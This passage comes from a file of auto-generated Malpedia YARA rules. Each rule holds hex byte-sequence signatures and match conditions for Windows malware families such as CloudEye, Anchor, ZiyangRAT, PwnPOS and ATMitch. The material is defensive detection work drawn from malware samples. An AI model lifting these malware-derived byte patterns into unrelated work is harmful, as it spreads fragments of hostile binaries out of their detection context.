		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 50 8d45f4 64a300000000 8b4508 8d75d4 c745ec00000000 e8???????? }
		$sequence_1 = { 889d5ffeffff ff15???????? 8d855efeffff c645fc05 50 }
		$sequence_2 = { c645fc0c ff15???????? 85c0 0f8827010000 8b0d???????? 8b11 52 }
		$sequence_3 = { 83c404 85c9 7517 33c0 8b450c 8d0442 5f }
		$sequence_4 = { 8bff 8d45d4 8bcf e8???????? 50 c745fc01000000 8b4e08 }
		$sequence_5 = { ff15???????? 83c610 3bf7 75f1 8b4304 50 ff15???????? }
		$sequence_6 = { 83f806 7753 0fb69058720010 ff249550720010 ba???????? 8bc7 8d742430 }
		$sequence_7 = { eb03 8945fc a1???????? 8b08 51 6a00 8d4e74 }
		$sequence_8 = { 834dec01 85c0 7505 a1???????? 8bf0 8d4900 }
		$sequence_9 = { 72e6 b892010000 5f 5e 8b4df8 33cd e8???????? }
	condition:
		7 of them and filesize < 247808
}

rule MALPEDIA_Win_Cloudeye_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "44608db0-2b3b-55a4-82c4-1c5317afcfea"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cloudeye_auto.yar#L1-L117"
		license_url = "N/A"
		logic_hash = "54d2e3ccac7509c285f63d14127016b59266a9af9b4d7112de2a7058fc6a0ca1"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 64ff35c0000000 8f4548 c3 60 b055 }
		$sequence_1 = { c70010000100 80fc8b ffb700500000 39c9 6afe ff5528 }
		$sequence_2 = { 85da 8b4d18 bafee5190e e8???????? }
		$sequence_3 = { 7570 206b65 7900 e8???????? 53 }
		$sequence_4 = { ff50e0 6639d1 61 b8ffffffff }
		$sequence_5 = { 83f800 0f8598000000 6685c1 8b4d20 81c100410000 c70107000100 51 }
		$sequence_6 = { 81c29c000000 52 6a07 6aff 38ed 50 e8???????? }
		$sequence_7 = { 5b 6685da 31c0 83c004 }
		$sequence_8 = { 8bb714080000 38ef 8b8700080000 01f0 01c8 }
		$sequence_9 = { 85db 837d7401 750a e8???????? 83f801 7405 }
	condition:
		7 of them and filesize < 90112
}

rule MALPEDIA_Win_Fakeword_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "83704e50-1dbd-5c9a-b83f-e831a9bf7880"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fakeword"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fakeword_auto.yar#L1-L123"
		license_url = "N/A"
		logic_hash = "109b39226f4f475b4c3e023db9ba2c26fa6ab8a72ccbfd12335d1989ed05d36a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 750d 381c08 7408 8bd1 8915???????? 8a0408 3ac3 }
		$sequence_1 = { 89442418 33c0 8a07 50 }
		$sequence_2 = { 03ce 0fbe540cd8 52 68???????? 50 ff15???????? 83c40c }
		$sequence_3 = { 41 81f900010000 89448afc 7cd4 }
		$sequence_4 = { 83e210 f3ab 80fa10 c684246c02000007 743d 8d442458 }
		$sequence_5 = { 83f804 7519 56 6a07 8d442418 }
		$sequence_6 = { 3a5418ff 750b 83f801 7459 3a5418fe 7453 40 }
		$sequence_7 = { 8b6c2420 8b4c2430 8b5c2434 41 83c304 83f908 894c2430 }
		$sequence_8 = { c3 8b4c241c 56 51 e8???????? 8b442414 }
		$sequence_9 = { 85ff 7446 8b7010 8b042f 03fd 03f5 }
	condition:
		7 of them and filesize < 98304
}

rule MALPEDIA_Win_Unidentified_101_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "1e5a977c-e7e9-5732-97b6-6aadc4f691fc"
		date = "2023-03-28"
		modified = "2023-04-07"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_101"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_101_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "71f0751fbd77a928634515b558d06922b4bf4a312042d6abbd6ba70171c64843"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20230328"
		malpedia_hash = "9d2d75cef573c1c2d861f5197df8f563b05a305d"
		malpedia_version = "20230407"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c70016000000 e8???????? 83c8ff e9???????? 498bc4 488d0ddb070100 83e03f }
		$sequence_1 = { 6689842404010000 b865000000 6689842406010000 33c0 6689842408010000 }
		$sequence_2 = { 33c0 b968000000 f3aa 488d842400010000 4889442448 488d842430020000 4889442440 }
		$sequence_3 = { 4889742410 57 4883ec20 418bf0 4c8d0debb40000 8bda 4c8d05dab40000 }
		$sequence_4 = { c744243000000000 4c8d4c2430 4c8b442440 8b542468 488b4c2460 }
		$sequence_5 = { c68424e900000065 c68424ea00000057 c68424eb00000000 c644243052 c644243165 c644243261 c644243364 }
		$sequence_6 = { 428a8c1910e40100 4c2bc0 418b40fc 4d894108 d3e8 41894120 }
		$sequence_7 = { 48c744242000000000 4c8d8c24c8000000 448b442450 488b542458 488b4c2470 ff15???????? }
		$sequence_8 = { 41b804010000 488d942400030000 33c9 ff15???????? c744245801000000 e8???????? 833d????????01 }
		$sequence_9 = { 7528 48833d????????00 741e 488d0dd8450100 e8???????? 85c0 740e }
	condition:
		7 of them and filesize < 402432
}

rule MALPEDIA_Win_Statc_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "808b480a-a4a8-5b96-a652-004f7a1eca10"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.statc"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.statc_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "d41663c5e21054ad8e54e8097dd90a58bbd0b9def413c1922ece24784d1402b9"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 85c0 7409 8984248c000000 ebc5 488d942488000000 488bcf e8???????? }
		$sequence_1 = { c6040129 e9???????? 4d8b4010 488d15c9dd2700 488d4def 4d8b00 e8???????? }
		$sequence_2 = { 7f1d 8b8424e0000000 448bca ba69000000 89442420 488bcb e8???????? }
		$sequence_3 = { b807000000 8bc8 894344 488bcb 8bd0 e8???????? e9???????? }
		$sequence_4 = { e9???????? 488d8ab8010000 e9???????? 488d8ad0000000 e9???????? 488d8a90000000 e9???????? }
		$sequence_5 = { c645d01c c745d401000000 488975e0 48894598 488d4d90 488b4580 4533e4 }
		$sequence_6 = { e8???????? 488bcf e8???????? 48c70300000000 4d85ed 7409 498bcd }
		$sequence_7 = { 48f7e2 488bf2 48c1ee04 48ffc6 0fbe43f1 84c0 740d }
		$sequence_8 = { e8???????? 8bf8 896c2450 3b44243c 7413 488d15da212800 488bce }
		$sequence_9 = { ff15???????? 488b4b18 33c0 48898318020000 48898320020000 898328020000 898378020000 }
	condition:
		7 of them and filesize < 6429696
}

rule MALPEDIA_Win_Pandora_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "03d00108-515b-5000-bfce-e0864b2e89ce"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pandora"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pandora_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "a88747b8869f7f515751ff70f3553c380e5110ab9369144ac753a62c000a1cae"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 41ffc7 83f81e 0f8f88030000 4885ff 7418 488d47ff 498d04c6 }
		$sequence_1 = { 7424 838da400000010 448d4710 4c8b0d???????? 488d4c2430 33d2 41ffd1 }
		$sequence_2 = { 48897c2418 4156 4883ec20 33ff 4533f6 4863df 488d0d88040300 }
		$sequence_3 = { 415e c3 48895c2408 4889742410 57 4883ec20 4c8b5108 }
		$sequence_4 = { 4c8d45b0 488d55c8 e8???????? 8bd8 85c0 7524 f7de }
		$sequence_5 = { 8bcf 44335014 c1e918 0fb6d1 8bce }
		$sequence_6 = { 498b06 4885c0 0f8432020000 8b4008 ffc8 83f806 0f8724020000 }
		$sequence_7 = { 488b05???????? 33d2 498bcc ffd0 4c8b642460 4c8b742448 488b7c2440 }
		$sequence_8 = { 0bc8 0fb64238 c1e108 0bc8 0fb6423e 440bd0 894c2440 }
		$sequence_9 = { 4503d3 418bc6 23c6 41c1c60a 0bf8 4181c34efd53a9 81c7e9766d7a }
	condition:
		7 of them and filesize < 1032192
}

rule MALPEDIA_Win_Aytoke_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c3996e13-6441-5e12-8e21-a4d953c38877"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.aytoke"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.aytoke_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "0f3d6db514704761aece6f3ecc8a4a906e89108d57be9f7f2ba95aab9464ffc7"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b450c 8b4d10 56 57 8b7d08 8d95dcfbffff }
		$sequence_1 = { a1???????? 8b0d???????? 8b15???????? 8985a8f9ffff }
		$sequence_2 = { ffd2 8b8594f9ffff 50 ff15???????? }
		$sequence_3 = { 4d 4d 0b0c0d0e0f1011 1213 1415 }
		$sequence_4 = { 7407 c6854feeffff01 6a14 ff15???????? 6890000000 ffd3 }
		$sequence_5 = { 83c414 8d45c8 48 8a4801 40 }
		$sequence_6 = { 881438 46 47 ebd7 8b8dd8fbffff }
		$sequence_7 = { 8d55ec 52 b902000000 56 8945f0 66894dec ff15???????? }
		$sequence_8 = { 4d 4d 0b0c0d0e0f1011 1213 1415 16 17 }
		$sequence_9 = { 8bc6 c1f805 8b048500c44100 83e61f c1e606 8d443004 }
	condition:
		7 of them and filesize < 425984
}

rule MALPEDIA_Win_Gaudox_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e48a9725-6218-5ef6-9a1a-6786debab3b4"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gaudox"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gaudox_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "cc9ffbe1e9e9b635f7f04ba1adabaa59f1b5b2df83ed09fa49e4be99cd0578aa"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 5f 5e 8be5 5d c20400 8b7c240c 8d44244c }
		$sequence_1 = { 50 e8???????? a1???????? 8bb858010000 83ff20 772c 68???????? }
		$sequence_2 = { 745c 85d2 7458 56 8b7508 85f6 }
		$sequence_3 = { 660f7f842460030000 660f7f842470030000 660f7f842480030000 f3ab b982000000 89842460060000 }
		$sequence_4 = { 8b4708 2bca 83c0fb 03c1 894201 8d45c4 }
		$sequence_5 = { 8bc1 b9???????? 50 e8???????? 8b4c2440 8bc1 803900 }
		$sequence_6 = { 8d8548feffff 50 e8???????? a1???????? 8bb888010000 83ff1c 7731 }
		$sequence_7 = { 0f88ce000000 8b15???????? b8???????? ff7750 8b7c2450 2bc2 8944245c }
		$sequence_8 = { 6a01 e8???????? 8b55fc 8bc8 8b45f4 890c82 85c9 }
		$sequence_9 = { 731a 8bd1 b9???????? e8???????? 85c0 0f88a7000000 8b74240c }
	condition:
		7 of them and filesize < 155648
}

rule MALPEDIA_Win_Anchor_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "bb15263f-399c-5701-ae36-ae60623792e3"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.anchor"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.anchor_auto.yar#L1-L210"
		license_url = "N/A"
		logic_hash = "00f136c31d3ac19e1483ba5e1be1e038dd18c931fe522c85d8ea96a7f9411021"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c6400365 eb0a 66c74001646c c640036c }
		$sequence_1 = { 740c 66c740016578 c6400365 eb0a }
		$sequence_2 = { 8bf8 f7e6 0f90c1 f7d9 0bc8 51 e8???????? }
		$sequence_3 = { c1e102 51 6a00 50 a3???????? e8???????? }
		$sequence_4 = { b001 5d c3 e9???????? 6a0c 68???????? e8???????? }
		$sequence_5 = { 66894818 33c9 8b4608 6689581a 8b4608 5b }
		$sequence_6 = { 33c9 8b461c 6689781a 8b461c 5f }
		$sequence_7 = { 50 56 e8???????? 83bde8feffff10 8d85d4feffff }
		$sequence_8 = { b101 e8???????? e8???????? 84c0 }
		$sequence_9 = { 0bc1 4898 488d0d12920200 488b5528 }
		$sequence_10 = { 4889842440140000 488bd9 4c63d2 498bc2 418be9 48c1f806 488d0db8020100 }
		$sequence_11 = { 03c2 c1f802 6bc003 894504 }
		$sequence_12 = { 034524 3b8520010000 760c c785f400000001000000 }
		$sequence_13 = { 4881e9c0000000 48c1e108 4803c8 8bc1 488d9405bf090000 eb0c 8bc7 }
		$sequence_14 = { 0bc1 488b4d48 8801 488b4548 }
		$sequence_15 = { 03c8 8bc1 8985a4000000 488d8da8010000 }
		$sequence_16 = { 498bcf e8???????? 498bc7 488b8d90000000 }
		$sequence_17 = { 7ce8 488b4350 4903d1 b945000000 66890c50 }
		$sequence_18 = { 488bfa 7203 488b3a ba20000000 488bcf e8???????? 33db }
		$sequence_19 = { 00040f 830905 0000 83bd641a0000ff }
		$sequence_20 = { 05e0930400 894544 8b5544 488b4508 }
		$sequence_21 = { 0000 83bd641a0000ff 0f85fc040000 c6859412000000 }
	condition:
		7 of them and filesize < 778240
}

rule MALPEDIA_Win_Bunitu_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ad5c884d-40cc-596d-af5c-643847feb65b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bunitu"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bunitu_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "4579187f29545393632699d1b30240f12e5e7855e0bb344d18579a744895ea25"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c70003000000 ff75f0 8f4004 ff75ec 8f4008 8bc8 }
		$sequence_1 = { ff15???????? 59 5d 5a }
		$sequence_2 = { 6a00 50 ff15???????? 6a00 68e8030000 ff15???????? 33c0 }
		$sequence_3 = { aa 5a 5f 5e 42 5b }
		$sequence_4 = { 6800000100 50 51 6800080000 6a00 }
		$sequence_5 = { 8b85d8feffff 898538fdffff 6a10 8d8d34fdffff 51 ffb528fdffff ff15???????? }
		$sequence_6 = { 668b85dcfeffff b901190000 49 663bc1 }
		$sequence_7 = { 50 53 8d85caf7ffff 50 e8???????? }
		$sequence_8 = { 837df000 7614 6a02 ff75f0 ff15???????? ff75f0 }
		$sequence_9 = { 8dbd58feffff b91c000000 33c0 f3aa e8???????? 8945fc }
	condition:
		7 of them and filesize < 221184
}

rule MALPEDIA_Win_Ziyangrat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ad05acb3-2122-508e-96e1-44a0677aa226"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ziyangrat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ziyangrat_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "89f077d6fe657db2420d0ceec203b172ff92ec6b640db30714a01b0a429a9ae6"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 33c0 8dbc2421140000 889c2420140000 f3ab }
		$sequence_1 = { 50 ff15???????? 85c0 751d ff15???????? 50 56 }
		$sequence_2 = { 7560 55 6800040000 ff15???????? 55 8d842468010000 }
		$sequence_3 = { 0f841b010000 81fe4c4f0000 0f87e6000000 8b4c2424 8d542414 83e110 }
		$sequence_4 = { 33c0 8d7c2409 8bb4240c040000 f3ab 66ab 56 6a00 }
		$sequence_5 = { 7e95 ffd5 8bf0 89742430 }
		$sequence_6 = { 83f810 0f85a6000000 8b7304 81fe00500000 0f8f97000000 85f6 0f8c8f000000 }
		$sequence_7 = { 33c0 8dbc2411010000 889c2410010000 f3ab 66ab aa b91f000000 }
		$sequence_8 = { 8db424c0190000 f2ae f7d1 49 bf???????? 8bd1 c1e902 }
		$sequence_9 = { 50 c68424fb00000061 c68424fc00000074 c68424fd00000061 889c24fe000000 c684240801000053 c684240901000079 }
	condition:
		7 of them and filesize < 188416
}

rule MALPEDIA_Win_Pwnpos_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "1f880853-80ef-5ec2-a31a-31cd2006dc43"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pwnpos"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pwnpos_auto.yar#L1-L127"
		license_url = "N/A"
		logic_hash = "145bb3fa97da57220c104891d855f912aebbcf21962d1405b1589dc2cce60605"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 68???????? bb0b000000 52 899c2468020000 e8???????? 83c40c }
		$sequence_1 = { 8b07 8b4004 3974380c 750f 8b44383c 3bc6 7407 }
		$sequence_2 = { 8bf0 33db 83c404 3bf3 742d 8d4e18 c7460401000000 }
		$sequence_3 = { 8d4df0 e8???????? 8b4d0c 895dfc 8b5f30 51 c745ec01000000 }
		$sequence_4 = { 51 53 56 52 50 8d4c243c 51 }
		$sequence_5 = { 8b4d08 83c118 e9???????? 8b4d08 83c118 e9???????? }
		$sequence_6 = { 720f 8b95a0f9ffff 52 e8???????? 83c404 b001 8b4df4 }
		$sequence_7 = { 57 57 57 57 57 8d85d8f9ffff 50 }
		$sequence_8 = { c705????????80b24300 c3 c705????????80b24300 c3 }
		$sequence_9 = { 0f871c020000 ff248dc86f4300 8d48cf 80f908 7706 }
	condition:
		7 of them and filesize < 638976
}

rule MALPEDIA_Win_Protonbot_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "2a60cbb5-df76-51a1-aa18-1e35bc0d84b0"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.protonbot"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.protonbot_auto.yar#L1-L123"
		license_url = "N/A"
		logic_hash = "dd56b01eb6c4f05df12eaa91d84ffe14ac197bb00fbf288295bd9f5385f33352"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff15???????? ffb5f4feffff ff15???????? 8d8dfcfeffff }
		$sequence_1 = { ffd3 85ff 8bbdf4fffeff 7f8d 5e }
		$sequence_2 = { 51 52 8d8da4feffff e8???????? 6a00 6aff 6a00 }
		$sequence_3 = { 83bda0feffff10 8d8d8cfeffff 56 0f438d8cfeffff 6a00 51 6a00 }
		$sequence_4 = { 6a00 8b18 899df8fffeff e8???????? 83c410 }
		$sequence_5 = { ff7508 e8???????? 83c410 5d c3 6a1c b8???????? }
		$sequence_6 = { 57 50 8d45f4 64a300000000 8d8dbcfeffff e8???????? }
		$sequence_7 = { 837e1410 8955a0 8bc6 7202 8b06 8d1438 8b45a0 }
		$sequence_8 = { e8???????? 83c418 c645fc01 8d85bcfeffff }
		$sequence_9 = { ff15???????? 56 85c0 7404 ffd7 eb02 ffd3 }
	condition:
		7 of them and filesize < 1073152
}

rule MALPEDIA_Win_Atmitch_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "40b30c3c-57b4-5224-a4e5-a107d24cada9"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.atmitch"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.atmitch_auto.yar#L1-L127"
		license_url = "N/A"
		logic_hash = "71ef7f74c9366c16202f9b9ae280ad39b24b004194d9f9aea8b4282ba76a3264"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 7407 8b542418 895004 837c242400 740c 8b442420 50 }
		$sequence_1 = { ff15???????? 8d4c2414 ff15???????? 8d4c2410 ff15???????? }
		$sequence_2 = { ff15???????? c744242000000000 833d????????02 7f05 e8???????? a1???????? }
		$sequence_3 = { 8b4818 83c408 51 51 8bcc 8964241c }
		$sequence_4 = { 50 680300020b ff15???????? 8d4c240e 51 51 8bcc }
		$sequence_5 = { c645fc01 8b06 8b4804 8b443110 25c0010000 }
		$sequence_6 = { 6aff 8d4c2414 ff15???????? 6a00 6a0a 8d4c2418 ff15???????? }
		$sequence_7 = { 8bf8 83c404 33c9 33d2 33c0 6a11 }
		$sequence_8 = { 8bcc 89642410 68???????? ff15???????? e8???????? 83c404 a1???????? }
		$sequence_9 = { 8b0e 0fb7412c 83c408 83f809 774d ff2485f4200010 b8???????? }
	condition:
		7 of them and filesize < 73728
}

rule MALPEDIA_Win_Lurk_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "42f43514-1d0a-5f85-8b4c-4d2eb84cb8ec"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lurk"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lurk_auto.yar#L1-L168"
		license_url = "N/A"
		logic_hash = "d1c263745e96efcdbb8910da6861ed00bbaa0d8e2de63a2bd4a743972e1ce722"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff7508 ff15???????? 8b35???????? 50 ff7508 }
		$sequence_1 = { 8b4508 5b 5f 5e c9 c3 55 }
		$sequence_2 = { 8908 8b4514 85c0 7407 8b4e28 03cf }
		$sequence_3 = { 0f84e0000000 8b45fc 8b4dd8 03480c 51 ff55f4 }
		$sequence_4 = { 8955f4 837df404 7325 8b4df0 }
		$sequence_5 = { 80780500 8d45fc 7404 6a00 eb02 6a01 50 }
		$sequence_6 = { 5f 5e c9 c20400 a1???????? 32c9 384802 }
		$sequence_7 = { eb29 837d0803 7504 6a03 eb08 837d0804 7519 }
		$sequence_8 = { c9 c3 6afe eb02 6afd }
		$sequence_9 = { 8945cc 8b45fc 83c008 8945f0 }
		$sequence_10 = { 8945fc e8???????? c745f801000000 2975f8 }
		$sequence_11 = { a1???????? 385805 744f 53 53 }
		$sequence_12 = { 8945d0 8b45f8 895dd4 8945d8 8b3d???????? }
		$sequence_13 = { 8955f0 8b45f4 8b4814 c1e11f c1f91f 7412 }
		$sequence_14 = { 8955f0 e9???????? 8b55fc 8b45ec }
		$sequence_15 = { 8945d4 837dd400 7513 8b45d8 }
	condition:
		7 of them and filesize < 5316608
}

rule MALPEDIA_Win_Pvzout_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "3a2ef17b-53cd-553c-9129-4e623095fe72"
		date = "2026-01-05"
		modified = "2026-01-06"
